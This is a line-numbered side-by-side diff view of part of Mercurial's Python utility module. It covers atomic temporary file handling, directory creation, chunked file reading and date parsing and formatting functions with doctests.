1681 if not self._fp.closed:
1683 self._fp.close()
1682 self._fp.close()
1684 filename = localpath(self.__name)
1683 filename = localpath(self.__name)
1685 oldstat = self._checkambig and filestat.frompath(filename)
1684 oldstat = self._checkambig and filestat.frompath(filename)
1686 if oldstat and oldstat.stat:
1685 if oldstat and oldstat.stat:
1687 rename(self._tempname, filename)
1686 rename(self._tempname, filename)
1688 newstat = filestat.frompath(filename)
1687 newstat = filestat.frompath(filename)
1689 if newstat.isambig(oldstat):
1688 if newstat.isambig(oldstat):
1690 # stat of changed file is ambiguous to original one
1689 # stat of changed file is ambiguous to original one
1691 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1690 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1692 os.utime(filename, (advanced, advanced))
1691 os.utime(filename, (advanced, advanced))
1693 else:
1692 else:
1694 rename(self._tempname, filename)
1693 rename(self._tempname, filename)
1695
1694
1696 def discard(self):
1695 def discard(self):
1697 if not self._fp.closed:
1696 if not self._fp.closed:
1698 try:
1697 try:
1699 os.unlink(self._tempname)
1698 os.unlink(self._tempname)
1700 except OSError:
1699 except OSError:
1701 pass
1700 pass
1702 self._fp.close()
1701 self._fp.close()
1703
1702
1704 def __del__(self):
1703 def __del__(self):
1705 if safehasattr(self, '_fp'): # constructor actually did something
1704 if safehasattr(self, '_fp'): # constructor actually did something
1706 self.discard()
1705 self.discard()
1707
1706
1708 def __enter__(self):
1707 def __enter__(self):
1709 return self
1708 return self
1710
1709
1711 def __exit__(self, exctype, excvalue, traceback):
1710 def __exit__(self, exctype, excvalue, traceback):
1712 if exctype is not None:
1711 if exctype is not None:
1713 self.discard()
1712 self.discard()
1714 else:
1713 else:
1715 self.close()
1714 self.close()
1716
1715
1717 def unlinkpath(f, ignoremissing=False):
1716 def unlinkpath(f, ignoremissing=False):
1718 """unlink and remove the directory if it is empty"""
1717 """unlink and remove the directory if it is empty"""
1719 if ignoremissing:
1718 if ignoremissing:
1720 tryunlink(f)
1719 tryunlink(f)
1721 else:
1720 else:
1722 unlink(f)
1721 unlink(f)
1723 # try removing directories that might now be empty
1722 # try removing directories that might now be empty
1724 try:
1723 try:
1725 removedirs(os.path.dirname(f))
1724 removedirs(os.path.dirname(f))
1726 except OSError:
1725 except OSError:
1727 pass
1726 pass
1728
1727
1729 def tryunlink(f):
1728 def tryunlink(f):
1730 """Attempt to remove a file, ignoring ENOENT errors."""
1729 """Attempt to remove a file, ignoring ENOENT errors."""
1731 try:
1730 try:
1732 unlink(f)
1731 unlink(f)
1733 except OSError as e:
1732 except OSError as e:
1734 if e.errno != errno.ENOENT:
1733 if e.errno != errno.ENOENT:
1735 raise
1734 raise
1736
1735
1737 def makedirs(name, mode=None, notindexed=False):
1736 def makedirs(name, mode=None, notindexed=False):
1738 """recursive directory creation with parent mode inheritance
1737 """recursive directory creation with parent mode inheritance
1739
1738
1740 Newly created directories are marked as "not to be indexed by
1739 Newly created directories are marked as "not to be indexed by
1741 the content indexing service", if ``notindexed`` is specified
1740 the content indexing service", if ``notindexed`` is specified
1742 for "write" mode access.
1741 for "write" mode access.
1743 """
1742 """
1744 try:
1743 try:
1745 makedir(name, notindexed)
1744 makedir(name, notindexed)
1746 except OSError as err:
1745 except OSError as err:
1747 if err.errno == errno.EEXIST:
1746 if err.errno == errno.EEXIST:
1748 return
1747 return
1749 if err.errno != errno.ENOENT or not name:
1748 if err.errno != errno.ENOENT or not name:
1750 raise
1749 raise
1751 parent = os.path.dirname(os.path.abspath(name))
1750 parent = os.path.dirname(os.path.abspath(name))
1752 if parent == name:
1751 if parent == name:
1753 raise
1752 raise
1754 makedirs(parent, mode, notindexed)
1753 makedirs(parent, mode, notindexed)
1755 try:
1754 try:
1756 makedir(name, notindexed)
1755 makedir(name, notindexed)
1757 except OSError as err:
1756 except OSError as err:
1758 # Catch EEXIST to handle races
1757 # Catch EEXIST to handle races
1759 if err.errno == errno.EEXIST:
1758 if err.errno == errno.EEXIST:
1760 return
1759 return
1761 raise
1760 raise
1762 if mode is not None:
1761 if mode is not None:
1763 os.chmod(name, mode)
1762 os.chmod(name, mode)
1764
1763
1765 def readfile(path):
1764 def readfile(path):
1766 with open(path, 'rb') as fp:
1765 with open(path, 'rb') as fp:
1767 return fp.read()
1766 return fp.read()
1768
1767
1769 def writefile(path, text):
1768 def writefile(path, text):
1770 with open(path, 'wb') as fp:
1769 with open(path, 'wb') as fp:
1771 fp.write(text)
1770 fp.write(text)
1772
1771
1773 def appendfile(path, text):
1772 def appendfile(path, text):
1774 with open(path, 'ab') as fp:
1773 with open(path, 'ab') as fp:
1775 fp.write(text)
1774 fp.write(text)
1776
1775
1777 class chunkbuffer(object):
1776 class chunkbuffer(object):
1778 """Allow arbitrary sized chunks of data to be efficiently read from an
1777 """Allow arbitrary sized chunks of data to be efficiently read from an
1779 iterator over chunks of arbitrary size."""
1778 iterator over chunks of arbitrary size."""
1780
1779
1781 def __init__(self, in_iter):
1780 def __init__(self, in_iter):
1782 """in_iter is the iterator that's iterating over the input chunks."""
1781 """in_iter is the iterator that's iterating over the input chunks."""
1783 def splitbig(chunks):
1782 def splitbig(chunks):
1784 for chunk in chunks:
1783 for chunk in chunks:
1785 if len(chunk) > 2**20:
1784 if len(chunk) > 2**20:
1786 pos = 0
1785 pos = 0
1787 while pos < len(chunk):
1786 while pos < len(chunk):
1788 end = pos + 2 ** 18
1787 end = pos + 2 ** 18
1789 yield chunk[pos:end]
1788 yield chunk[pos:end]
1790 pos = end
1789 pos = end
1791 else:
1790 else:
1792 yield chunk
1791 yield chunk
1793 self.iter = splitbig(in_iter)
1792 self.iter = splitbig(in_iter)
1794 self._queue = collections.deque()
1793 self._queue = collections.deque()
1795 self._chunkoffset = 0
1794 self._chunkoffset = 0
1796
1795
1797 def read(self, l=None):
1796 def read(self, l=None):
1798 """Read L bytes of data from the iterator of chunks of data.
1797 """Read L bytes of data from the iterator of chunks of data.
1799 Returns less than L bytes if the iterator runs dry.
1798 Returns less than L bytes if the iterator runs dry.
1800
1799
1801 If size parameter is omitted, read everything"""
1800 If size parameter is omitted, read everything"""
1802 if l is None:
1801 if l is None:
1803 return ''.join(self.iter)
1802 return ''.join(self.iter)
1804
1803
1805 left = l
1804 left = l
1806 buf = []
1805 buf = []
1807 queue = self._queue
1806 queue = self._queue
1808 while left > 0:
1807 while left > 0:
1809 # refill the queue
1808 # refill the queue
1810 if not queue:
1809 if not queue:
1811 target = 2**18
1810 target = 2**18
1812 for chunk in self.iter:
1811 for chunk in self.iter:
1813 queue.append(chunk)
1812 queue.append(chunk)
1814 target -= len(chunk)
1813 target -= len(chunk)
1815 if target <= 0:
1814 if target <= 0:
1816 break
1815 break
1817 if not queue:
1816 if not queue:
1818 break
1817 break
1819
1818
1820 # The easy way to do this would be to queue.popleft(), modify the
1819 # The easy way to do this would be to queue.popleft(), modify the
1821 # chunk (if necessary), then queue.appendleft(). However, for cases
1820 # chunk (if necessary), then queue.appendleft(). However, for cases
1822 # where we read partial chunk content, this incurs 2 dequeue
1821 # where we read partial chunk content, this incurs 2 dequeue
1823 # mutations and creates a new str for the remaining chunk in the
1822 # mutations and creates a new str for the remaining chunk in the
1824 # queue. Our code below avoids this overhead.
1823 # queue. Our code below avoids this overhead.
1825
1824
1826 chunk = queue[0]
1825 chunk = queue[0]
1827 chunkl = len(chunk)
1826 chunkl = len(chunk)
1828 offset = self._chunkoffset
1827 offset = self._chunkoffset
1829
1828
1830 # Use full chunk.
1829 # Use full chunk.
1831 if offset == 0 and left >= chunkl:
1830 if offset == 0 and left >= chunkl:
1832 left -= chunkl
1831 left -= chunkl
1833 queue.popleft()
1832 queue.popleft()
1834 buf.append(chunk)
1833 buf.append(chunk)
1835 # self._chunkoffset remains at 0.
1834 # self._chunkoffset remains at 0.
1836 continue
1835 continue
1837
1836
1838 chunkremaining = chunkl - offset
1837 chunkremaining = chunkl - offset
1839
1838
1840 # Use all of unconsumed part of chunk.
1839 # Use all of unconsumed part of chunk.
1841 if left >= chunkremaining:
1840 if left >= chunkremaining:
1842 left -= chunkremaining
1841 left -= chunkremaining
1843 queue.popleft()
1842 queue.popleft()
1844 # offset == 0 is enabled by block above, so this won't merely
1843 # offset == 0 is enabled by block above, so this won't merely
1845 # copy via ``chunk[0:]``.
1844 # copy via ``chunk[0:]``.
1846 buf.append(chunk[offset:])
1845 buf.append(chunk[offset:])
1847 self._chunkoffset = 0
1846 self._chunkoffset = 0
1848
1847
1849 # Partial chunk needed.
1848 # Partial chunk needed.
1850 else:
1849 else:
1851 buf.append(chunk[offset:offset + left])
1850 buf.append(chunk[offset:offset + left])
1852 self._chunkoffset += left
1851 self._chunkoffset += left
1853 left -= chunkremaining
1852 left -= chunkremaining
1854
1853
1855 return ''.join(buf)
1854 return ''.join(buf)
1856
1855
1857 def filechunkiter(f, size=131072, limit=None):
1856 def filechunkiter(f, size=131072, limit=None):
1858 """Create a generator that produces the data in the file size
1857 """Create a generator that produces the data in the file size
1859 (default 131072) bytes at a time, up to optional limit (default is
1858 (default 131072) bytes at a time, up to optional limit (default is
1860 to read all data). Chunks may be less than size bytes if the
1859 to read all data). Chunks may be less than size bytes if the
1861 chunk is the last chunk in the file, or the file is a socket or
1860 chunk is the last chunk in the file, or the file is a socket or
1862 some other type of file that sometimes reads less data than is
1861 some other type of file that sometimes reads less data than is
1863 requested."""
1862 requested."""
1864 assert size >= 0
1863 assert size >= 0
1865 assert limit is None or limit >= 0
1864 assert limit is None or limit >= 0
1866 while True:
1865 while True:
1867 if limit is None:
1866 if limit is None:
1868 nbytes = size
1867 nbytes = size
1869 else:
1868 else:
1870 nbytes = min(limit, size)
1869 nbytes = min(limit, size)
1871 s = nbytes and f.read(nbytes)
1870 s = nbytes and f.read(nbytes)
1872 if not s:
1871 if not s:
1873 break
1872 break
1874 if limit:
1873 if limit:
1875 limit -= len(s)
1874 limit -= len(s)
1876 yield s
1875 yield s
1877
1876
1878 def makedate(timestamp=None):
1877 def makedate(timestamp=None):
1879 '''Return a unix timestamp (or the current time) as a (unixtime,
1878 '''Return a unix timestamp (or the current time) as a (unixtime,
1880 offset) tuple based off the local timezone.'''
1879 offset) tuple based off the local timezone.'''
1881 if timestamp is None:
1880 if timestamp is None:
1882 timestamp = time.time()
1881 timestamp = time.time()
1883 if timestamp < 0:
1882 if timestamp < 0:
1884 hint = _("check your clock")
1883 hint = _("check your clock")
1885 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1884 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1886 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1885 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1887 datetime.datetime.fromtimestamp(timestamp))
1886 datetime.datetime.fromtimestamp(timestamp))
1888 tz = delta.days * 86400 + delta.seconds
1887 tz = delta.days * 86400 + delta.seconds
1889 return timestamp, tz
1888 return timestamp, tz
1890
1889
1891 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1890 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1892 """represent a (unixtime, offset) tuple as a localized time.
1891 """represent a (unixtime, offset) tuple as a localized time.
1893 unixtime is seconds since the epoch, and offset is the time zone's
1892 unixtime is seconds since the epoch, and offset is the time zone's
1894 number of seconds away from UTC.
1893 number of seconds away from UTC.
1895
1894
1896 >>> datestr((0, 0))
1895 >>> datestr((0, 0))
1897 'Thu Jan 01 00:00:00 1970 +0000'
1896 'Thu Jan 01 00:00:00 1970 +0000'
1898 >>> datestr((42, 0))
1897 >>> datestr((42, 0))
1899 'Thu Jan 01 00:00:42 1970 +0000'
1898 'Thu Jan 01 00:00:42 1970 +0000'
1900 >>> datestr((-42, 0))
1899 >>> datestr((-42, 0))
1901 'Wed Dec 31 23:59:18 1969 +0000'
1900 'Wed Dec 31 23:59:18 1969 +0000'
1902 >>> datestr((0x7fffffff, 0))
1901 >>> datestr((0x7fffffff, 0))
1903 'Tue Jan 19 03:14:07 2038 +0000'
1902 'Tue Jan 19 03:14:07 2038 +0000'
1904 >>> datestr((-0x80000000, 0))
1903 >>> datestr((-0x80000000, 0))
1905 'Fri Dec 13 20:45:52 1901 +0000'
1904 'Fri Dec 13 20:45:52 1901 +0000'
1906 """
1905 """
1907 t, tz = date or makedate()
1906 t, tz = date or makedate()
1908 if "%1" in format or "%2" in format or "%z" in format:
1907 if "%1" in format or "%2" in format or "%z" in format:
1909 sign = (tz > 0) and "-" or "+"
1908 sign = (tz > 0) and "-" or "+"
1910 minutes = abs(tz) // 60
1909 minutes = abs(tz) // 60
1911 q, r = divmod(minutes, 60)
1910 q, r = divmod(minutes, 60)
1912 format = format.replace("%z", "%1%2")
1911 format = format.replace("%z", "%1%2")
1913 format = format.replace("%1", "%c%02d" % (sign, q))
1912 format = format.replace("%1", "%c%02d" % (sign, q))
1914 format = format.replace("%2", "%02d" % r)
1913 format = format.replace("%2", "%02d" % r)
1915 d = t - tz
1914 d = t - tz
1916 if d > 0x7fffffff:
1915 if d > 0x7fffffff:
1917 d = 0x7fffffff
1916 d = 0x7fffffff
1918 elif d < -0x80000000:
1917 elif d < -0x80000000:
1919 d = -0x80000000
1918 d = -0x80000000
1920 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
1919 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
1921 # because they use the gmtime() system call which is buggy on Windows
1920 # because they use the gmtime() system call which is buggy on Windows
1922 # for negative values.
1921 # for negative values.
1923 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
1922 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
1924 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1923 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1925 return s
1924 return s
1926
1925
1927 def shortdate(date=None):
1926 def shortdate(date=None):
1928 """turn (timestamp, tzoff) tuple into iso 8631 date."""
1927 """turn (timestamp, tzoff) tuple into iso 8631 date."""
1929 return datestr(date, format='%Y-%m-%d')
1928 return datestr(date, format='%Y-%m-%d')
1930
1929
1931 def parsetimezone(s):
1930 def parsetimezone(s):
1932 """find a trailing timezone, if any, in string, and return a
1931 """find a trailing timezone, if any, in string, and return a
1933 (offset, remainder) pair"""
1932 (offset, remainder) pair"""
1934
1933
1935 if s.endswith("GMT") or s.endswith("UTC"):
1934 if s.endswith("GMT") or s.endswith("UTC"):
1936 return 0, s[:-3].rstrip()
1935 return 0, s[:-3].rstrip()
1937
1936
1938 # Unix-style timezones [+-]hhmm
1937 # Unix-style timezones [+-]hhmm
1939 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
1938 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
1940 sign = (s[-5] == "+") and 1 or -1
1939 sign = (s[-5] == "+") and 1 or -1
1941 hours = int(s[-4:-2])
1940 hours = int(s[-4:-2])
1942 minutes = int(s[-2:])
1941 minutes = int(s[-2:])
1943 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
1942 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
1944
1943
1945 # ISO8601 trailing Z
1944 # ISO8601 trailing Z
1946 if s.endswith("Z") and s[-2:-1].isdigit():
1945 if s.endswith("Z") and s[-2:-1].isdigit():
1947 return 0, s[:-1]
1946 return 0, s[:-1]
1948
1947
1949 # ISO8601-style [+-]hh:mm
1948 # ISO8601-style [+-]hh:mm
1950 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
1949 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
1951 s[-5:-3].isdigit() and s[-2:].isdigit()):
1950 s[-5:-3].isdigit() and s[-2:].isdigit()):
1952 sign = (s[-6] == "+") and 1 or -1
1951 sign = (s[-6] == "+") and 1 or -1
1953 hours = int(s[-5:-3])
1952 hours = int(s[-5:-3])
1954 minutes = int(s[-2:])
1953 minutes = int(s[-2:])
1955 return -sign * (hours * 60 + minutes) * 60, s[:-6]
1954 return -sign * (hours * 60 + minutes) * 60, s[:-6]
1956
1955
1957 return None, s
1956 return None, s
1958
1957
1959 def strdate(string, format, defaults=None):
1958 def strdate(string, format, defaults=None):
1960 """parse a localized time string and return a (unixtime, offset) tuple.
1959 """parse a localized time string and return a (unixtime, offset) tuple.
1961 if the string cannot be parsed, ValueError is raised."""
1960 if the string cannot be parsed, ValueError is raised."""
1962 if defaults is None:
1961 if defaults is None:
1963 defaults = {}
1962 defaults = {}
1964
1963
1965 # NOTE: unixtime = localunixtime + offset
1964 # NOTE: unixtime = localunixtime + offset
1966 offset, date = parsetimezone(string)
1965 offset, date = parsetimezone(string)
1967
1966
1968 # add missing elements from defaults
1967 # add missing elements from defaults
1969 usenow = False # default to using biased defaults
1968 usenow = False # default to using biased defaults
1970 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
1969 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
1971 part = pycompat.bytestr(part)
1970 part = pycompat.bytestr(part)
1972 found = [True for p in part if ("%"+p) in format]
1971 found = [True for p in part if ("%"+p) in format]
1973 if not found:
1972 if not found:
1974 date += "@" + defaults[part][usenow]
1973 date += "@" + defaults[part][usenow]
1975 format += "@%" + part[0]
1974 format += "@%" + part[0]
1976 else:
1975 else:
1977 # We've found a specific time element, less specific time
1976 # We've found a specific time element, less specific time
1978 # elements are relative to today
1977 # elements are relative to today
1979 usenow = True
1978 usenow = True
1980
1979
1981 timetuple = time.strptime(encoding.strfromlocal(date),
1980 timetuple = time.strptime(encoding.strfromlocal(date),
1982 encoding.strfromlocal(format))
1981 encoding.strfromlocal(format))
1983 localunixtime = int(calendar.timegm(timetuple))
1982 localunixtime = int(calendar.timegm(timetuple))
1984 if offset is None:
1983 if offset is None:
1985 # local timezone
1984 # local timezone
1986 unixtime = int(time.mktime(timetuple))
1985 unixtime = int(time.mktime(timetuple))
1987 offset = unixtime - localunixtime
1986 offset = unixtime - localunixtime
1988 else:
1987 else:
1989 unixtime = localunixtime + offset
1988 unixtime = localunixtime + offset
1990 return unixtime, offset
1989 return unixtime, offset
1991
1990
1992 def parsedate(date, formats=None, bias=None):
1991 def parsedate(date, formats=None, bias=None):
1993 """parse a localized date/time and return a (unixtime, offset) tuple.
1992 """parse a localized date/time and return a (unixtime, offset) tuple.
1994
1993
1995 The date may be a "unixtime offset" string or in one of the specified
1994 The date may be a "unixtime offset" string or in one of the specified
1996 formats. If the date already is a (unixtime, offset) tuple, it is returned.
1995 formats. If the date already is a (unixtime, offset) tuple, it is returned.
1997
1996
1998 >>> parsedate(' today ') == parsedate(\
1997 >>> parsedate(' today ') == parsedate(\
1999 datetime.date.today().strftime('%b %d'))
1998 datetime.date.today().strftime('%b %d'))
2000 True
1999 True
2001 >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\
2000 >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\
2002 datetime.timedelta(days=1)\
2001 datetime.timedelta(days=1)\
2003 ).strftime('%b %d'))
2002 ).strftime('%b %d'))
2004 True
2003 True
2005 >>> now, tz = makedate()
2004 >>> now, tz = makedate()
2006 >>> strnow, strtz = parsedate('now')
2005 >>> strnow, strtz = parsedate('now')
2007 >>> (strnow - now) < 1
2006 >>> (strnow - now) < 1
2008 True
2007 True
2009 >>> tz == strtz
2008 >>> tz == strtz
2010 True
2009 True
2011 """
2010 """
2012 if bias is None:
2011 if bias is None:
2013 bias = {}
2012 bias = {}
2014 if not date:
2013 if not date:
2015 return 0, 0
2014 return 0, 0
2016 if isinstance(date, tuple) and len(date) == 2:
2015 if isinstance(date, tuple) and len(date) == 2:
2017 return date
2016 return date
2018 if not formats:
2017 if not formats:
2019 formats = defaultdateformats
2018 formats = defaultdateformats
2020 date = date.strip()
2019 date = date.strip()
2021
2020
2022 if date == 'now' or date == _('now'):
2021 if date == 'now' or date == _('now'):
2023 return makedate()
2022 return makedate()
2024 if date == 'today' or date == _('today'):
2023 if date == 'today' or date == _('today'):
2025 date = datetime.date.today().strftime('%b %d')
2024 date = datetime.date.today().strftime('%b %d')
2026 elif date == 'yesterday' or date == _('yesterday'):
2025 elif date == 'yesterday' or date == _('yesterday'):
2027 date = (datetime.date.today() -
2026 date = (datetime.date.today() -
2028 datetime.timedelta(days=1)).strftime('%b %d')
2027 datetime.timedelta(days=1)).strftime('%b %d')
2029
2028
2030 try:
2029 try:
2031 when, offset = map(int, date.split(' '))
2030 when, offset = map(int, date.split(' '))
2032 except ValueError:
2031 except ValueError:
2033 # fill out defaults
2032 # fill out defaults
2034 now = makedate()
2033 now = makedate()
2035 defaults = {}
2034 defaults = {}
2036 for part in ("d", "mb", "yY", "HI", "M", "S"):
2035 for part in ("d", "mb", "yY", "HI", "M", "S"):
2037 # this piece is for rounding the specific end of unknowns
2036 # this piece is for rounding the specific end of unknowns
2038 b = bias.get(part)
2037 b = bias.get(part)
2039 if b is None:
2038 if b is None:
2040 if part[0:1] in "HMS":
2039 if part[0:1] in "HMS":
2041 b = "00"
2040 b = "00"
2042 else:
2041 else:
2043 b = "0"
2042 b = "0"
2044
2043
2045 # this piece is for matching the generic end to today's date
2044 # this piece is for matching the generic end to today's date
2046 n = datestr(now, "%" + part[0:1])
2045 n = datestr(now, "%" + part[0:1])
2047
2046
2048 defaults[part] = (b, n)
2047 defaults[part] = (b, n)
2049
2048
2050 for format in formats:
2049 for format in formats:
2051 try:
2050 try:
2052 when, offset = strdate(date, format, defaults)
2051 when, offset = strdate(date, format, defaults)
2053 except (ValueError, OverflowError):
2052 except (ValueError, OverflowError):
2054 pass
2053 pass
2055 else:
2054 else:
2056 break
2055 break
2057 else:
2056 else:
2058 raise error.ParseError(_('invalid date: %r') % date)
2057 raise error.ParseError(_('invalid date: %r') % date)
2059 # validate explicit (probably user-specified) date and
2058 # validate explicit (probably user-specified) date and
2060 # time zone offset. values must fit in signed 32 bits for
2059 # time zone offset. values must fit in signed 32 bits for
2061 # current 32-bit linux runtimes. timezones go from UTC-12
2060 # current 32-bit linux runtimes. timezones go from UTC-12
2062 # to UTC+14
2061 # to UTC+14
2063 if when < -0x80000000 or when > 0x7fffffff:
2062 if when < -0x80000000 or when > 0x7fffffff:
2064 raise error.ParseError(_('date exceeds 32 bits: %d') % when)
2063 raise error.ParseError(_('date exceeds 32 bits: %d') % when)
2065 if offset < -50400 or offset > 43200:
2064 if offset < -50400 or offset > 43200:
2066 raise error.ParseError(_('impossible time zone offset: %d') % offset)
2065 raise error.ParseError(_('impossible time zone offset: %d') % offset)
2067 return when, offset
2066 return when, offset
2068
2067
2069 def matchdate(date):
2068 def matchdate(date):
2070 """Return a function that matches a given date match specifier
2069 """Return a function that matches a given date match specifier
2071
2070
2072 Formats include:
2071 Formats include:
2073
2072
2074 '{date}' match a given date to the accuracy provided
2073 '{date}' match a given date to the accuracy provided
2075
2074
2076 '<{date}' on or before a given date
2075 '<{date}' on or before a given date
2077
2076
2078 '>{date}' on or after a given date
2077 '>{date}' on or after a given date
2079
2078
2080 >>> p1 = parsedate("10:29:59")
2079 >>> p1 = parsedate("10:29:59")
2081 >>> p2 = parsedate("10:30:00")
2080 >>> p2 = parsedate("10:30:00")
2082 >>> p3 = parsedate("10:30:59")
2081 >>> p3 = parsedate("10:30:59")
2083 >>> p4 = parsedate("10:31:00")
2082 >>> p4 = parsedate("10:31:00")
2084 >>> p5 = parsedate("Sep 15 10:30:00 1999")
2083 >>> p5 = parsedate("Sep 15 10:30:00 1999")
2085 >>> f = matchdate("10:30")
2084 >>> f = matchdate("10:30")
2086 >>> f(p1[0])
2085 >>> f(p1[0])
2087 False
2086 False
2088 >>> f(p2[0])
2087 >>> f(p2[0])
2089 True
2088 True
2090 >>> f(p3[0])
2089 >>> f(p3[0])
2091 True
2090 True
2092 >>> f(p4[0])
2091 >>> f(p4[0])
2093 False
2092 False
2094 >>> f(p5[0])
2093 >>> f(p5[0])
2095 False
2094 False
2096 """
2095 """
2097
2096
2098 def lower(date):
2097 def lower(date):
2099 d = {'mb': "1", 'd': "1"}
2098 d = {'mb': "1", 'd': "1"}
2100 return parsedate(date, extendeddateformats, d)[0]
2099 return parsedate(date, extendeddateformats, d)[0]
2101
2100
2102 def upper(date):
2101 def upper(date):
2103 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
2102 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
2104 for days in ("31", "30", "29"):
2103 for days in ("31", "30", "29"):
2105 try:
2104 try:
2106 d["d"] = days
2105 d["d"] = days
2107 return parsedate(date, extendeddateformats, d)[0]
2106 return parsedate(date, extendeddateformats, d)[0]
2108 except Abort:
2107 except Abort:
2109 pass
2108 pass
2110 d["d"] = "28"
2109 d["d"] = "28"
2111 return parsedate(date, extendeddateformats, d)[0]
2110 return parsedate(date, extendeddateformats, d)[0]
2112
2111
2113 date = date.strip()
2112 date = date.strip()
2114
2113
2115 if not date:
2114 if not date:
2116 raise Abort(_("dates cannot consist entirely of whitespace"))
2115 raise Abort(_("dates cannot consist entirely of whitespace"))
2117 elif date[0] == "<":
2116 elif date[0] == "<":
2118 if not date[1:]:
2117 if not date[1:]:
2119 raise Abort(_("invalid day spec, use '<DATE'"))
2118 raise Abort(_("invalid day spec, use '<DATE'"))
2120 when = upper(date[1:])
2119 when = upper(date[1:])
2121 return lambda x: x <= when
2120 return lambda x: x <= when
2122 elif date[0] == ">":
2121 elif date[0] == ">":
2123 if not date[1:]:
2122 if not date[1:]:
2124 raise Abort(_("invalid day spec, use '>DATE'"))
2123 raise Abort(_("invalid day spec, use '>DATE'"))
2125 when = lower(date[1:])
2124 when = lower(date[1:])
2126 return lambda x: x >= when
2125 return lambda x: x >= when
2127 elif date[0] == "-":
2126 elif date[0] == "-":
2128 try:
2127 try:
2129 days = int(date[1:])
2128 days = int(date[1:])
2130 except ValueError:
2129 except ValueError:
2131 raise Abort(_("invalid day spec: %s") % date[1:])
2130 raise Abort(_("invalid day spec: %s") % date[1:])
2132 if days < 0:
2131 if days < 0:
2133 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
2132 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
2134 % date[1:])
2133 % date[1:])
2135 when = makedate()[0] - days * 3600 * 24
2134 when = makedate()[0] - days * 3600 * 24
2136 return lambda x: x >= when
2135 return lambda x: x >= when
2137 elif " to " in date:
2136 elif " to " in date:
2138 a, b = date.split(" to ")
2137 a, b = date.split(" to ")
2139 start, stop = lower(a), upper(b)
2138 start, stop = lower(a), upper(b)
2140 return lambda x: x >= start and x <= stop
2139 return lambda x: x >= start and x <= stop
2141 else:
2140 else:
2142 start, stop = lower(date), upper(date)
2141 start, stop = lower(date), upper(date)
2143 return lambda x: x >= start and x <= stop
2142 return lambda x: x >= start and x <= stop
2144
2143
2145 def stringmatcher(pattern, casesensitive=True):
2144 def stringmatcher(pattern, casesensitive=True):
2146 """
2145 """
2147 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2146 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2148 returns the matcher name, pattern, and matcher function.
2147 returns the matcher name, pattern, and matcher function.
2149 missing or unknown prefixes are treated as literal matches.
2148 missing or unknown prefixes are treated as literal matches.
2150
2149
2151 helper for tests:
2150 helper for tests:
2152 >>> def test(pattern, *tests):
2151 >>> def test(pattern, *tests):
2153 ... kind, pattern, matcher = stringmatcher(pattern)
2152 ... kind, pattern, matcher = stringmatcher(pattern)
2154 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2153 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2155 >>> def itest(pattern, *tests):
2154 >>> def itest(pattern, *tests):
2156 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2155 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2157 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2156 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2158
2157
2159 exact matching (no prefix):
2158 exact matching (no prefix):
2160 >>> test('abcdefg', 'abc', 'def', 'abcdefg')
2159 >>> test('abcdefg', 'abc', 'def', 'abcdefg')
2161 ('literal', 'abcdefg', [False, False, True])
2160 ('literal', 'abcdefg', [False, False, True])
2162
2161
2163 regex matching ('re:' prefix)
2162 regex matching ('re:' prefix)
2164 >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar')
2163 >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar')
2165 ('re', 'a.+b', [False, False, True])
2164 ('re', 'a.+b', [False, False, True])
2166
2165
2167 force exact matches ('literal:' prefix)
2166 force exact matches ('literal:' prefix)
2168 >>> test('literal:re:foobar', 'foobar', 're:foobar')
2167 >>> test('literal:re:foobar', 'foobar', 're:foobar')
2169 ('literal', 're:foobar', [False, True])
2168 ('literal', 're:foobar', [False, True])
2170
2169
2171 unknown prefixes are ignored and treated as literals
2170 unknown prefixes are ignored and treated as literals
2172 >>> test('foo:bar', 'foo', 'bar', 'foo:bar')
2171 >>> test('foo:bar', 'foo', 'bar', 'foo:bar')
2173 ('literal', 'foo:bar', [False, False, True])
2172 ('literal', 'foo:bar', [False, False, True])
2174
2173
2175 case insensitive regex matches
2174 case insensitive regex matches
2176 >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar')
2175 >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar')
2177 ('re', 'A.+b', [False, False, True])
2176 ('re', 'A.+b', [False, False, True])
2178
2177
2179 case insensitive literal matches
2178 case insensitive literal matches
2180 >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg')
2179 >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg')
2181 ('literal', 'ABCDEFG', [False, False, True])
